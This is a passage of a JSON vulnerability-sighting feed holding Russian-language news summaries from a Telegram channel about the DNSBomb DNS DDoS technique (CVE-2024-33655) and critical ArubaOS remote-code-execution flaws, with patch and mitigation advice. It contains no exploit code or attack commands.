\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 SCM, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.", "creation_timestamp": "2024-12-27T15:00:06.000000Z"}, {"uuid": "f41be238-fcf0-41d6-9377-314b20427788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33655", "type": "seen", "source": "https://t.me/true_secator/5764", "content": "\u034f\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0447\u0435\u043d\u044b\u0445 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0426\u0438\u043d\u0445\u0443\u0430 \u0432 \u041f\u0435\u043a\u0438\u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 DDoS-\u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c DNS-\u0442\u0440\u0430\u0444\u0438\u043a\u0430.\n\n\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 DNSBomb \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442  DDoS-\u0430\u0442\u0430\u043a\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 2003 \u0433\u043e\u0434\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c TCP-\u0438\u043c\u043f\u0443\u043b\u044c\u0441\u043e\u0432.\n \n\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0443 \u0436\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044e, \u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0435\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f DNS \u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, DNSBomb \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0445 DNS-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044f \u0435\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u0443\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0440\u0430\u0437\u0443 \u0432 \u0438\u043c\u043f\u0443\u043b\u044c\u0441\u0435 DNS-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u0446\u0435\u043b\u044c.\n\nDNSBomb \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2024-33655, \u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043f\u043e \u043d\u0435\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043d\u0430 \u0441\u0438\u043c\u043f\u043e\u0437\u0438\u0443\u043c\u0435 IEEE \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u0421\u0430\u043d-\u0424\u0440\u0430\u043d\u0446\u0438\u0441\u043a\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043d\u0430 10 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445 DNS \u0438 46 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 DNS \u0438 \u0441\u043c\u043e\u0433\u043b\u0430 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c DNSBomb \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u0434\u043e 8,7 \u0413\u0431\u0438\u0442/\u0441, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c DNS-\u0442\u0440\u0430\u0444\u0438\u043a \u0431\u044b\u043b \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d \u0434\u043e 20 000 \u043e\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0446\u0438\u0444\u0440\u044b \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 DNSBomb \u043f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u043f\u043e DDoS.\n\n\u041f\u0440\u0430\u0432\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0432\u0441\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u0430\u043c, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c 24 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-05-22T15:10:05.000000Z"}, {"uuid": "677686da-425c-4a4b-8205-b8b579535fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33512", "type": "seen", "source": "https://t.me/true_secator/5691", "content": "HPE Aruba Networking \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041e\u0421 ArubaOS \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS v3.1: 9.8.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 HPE Aruba Networking Mobility Conductor, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0448\u043b\u044e\u0437\u044b WLAN \u0438 \u0448\u043b\u044e\u0437\u044b SD-WAN, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 Aruba Central, ArubaOS 10.5.1.0 \u0438 \u043d\u0438\u0436\u0435, 10.4.1.0 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, 8.11.2.1 \u0438 \u043d\u0438\u0436\u0435, 8.10.0.10 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 ArubaOS \u0438 SD-WAN, \u0434\u043e\u0441\u0442\u0438\u0433\u0448\u0438\u0435 EoL.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2024-26305 \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b ArubaOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 UDP-\u043f\u043e\u0440\u0442 PAPI.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 CVE-2024-26304 \u0438 CVE-2024-33511 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f L2/L3 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\u043e\u0440\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 PAPI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0418, \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f CVE-2024-33512, - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b PAPI.\n\n\u041d\u0430\u0440\u044f\u0434\u0443 \u0441 \u043d\u0438\u043c\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b  \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u043e\u0432 DoS \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 HPE Aruba Networking \u043d\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0444\u0430\u043a\u0442\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 PoC, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c Enhanced PAPI Security \u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-05-02T12:36:15.000000Z"}, {"uuid": "08676a62-2722-4134-aca3-09ad56663b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33511", "type": "seen", "source": "https://t.me/true_secator/5691", "content": "HPE Aruba Networking \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041e\u0421 ArubaOS \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS v3.1: 9.8.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 HPE Aruba Networking Mobility Conductor, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0448\u043b\u044e\u0437\u044b WLAN \u0438 \u0448\u043b\u044e\u0437\u044b SD-WAN, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 Aruba Central, ArubaOS 10.5.1.0 \u0438 \u043d\u0438\u0436\u0435, 10.4.1.0 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, 8.11.2.1 \u0438 \u043d\u0438\u0436\u0435, 8.10.0.10 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 ArubaOS \u0438 SD-WAN, \u0434\u043e\u0441\u0442\u0438\u0433\u0448\u0438\u0435 EoL.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2024-26305 \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b ArubaOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 UDP-\u043f\u043e\u0440\u0442 PAPI.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 CVE-2024-26304 \u0438 CVE-2024-33511 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f L2/L3 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\u043e\u0440\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 PAPI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0418, \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f CVE-2024-33512, - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b PAPI.\n\n\u041d\u0430\u0440\u044f\u0434\u0443 \u0441 \u043d\u0438\u043c\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b  \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u043e\u0432 DoS \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 HPE Aruba Networking \u043d\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0444\u0430\u043a\u0442\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 PoC, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c Enhanced PAPI Security \u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-05-02T12:36:15.000000Z"}, {"uuid": "19691b3e-8cab-4306-9473-e2a5094571ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 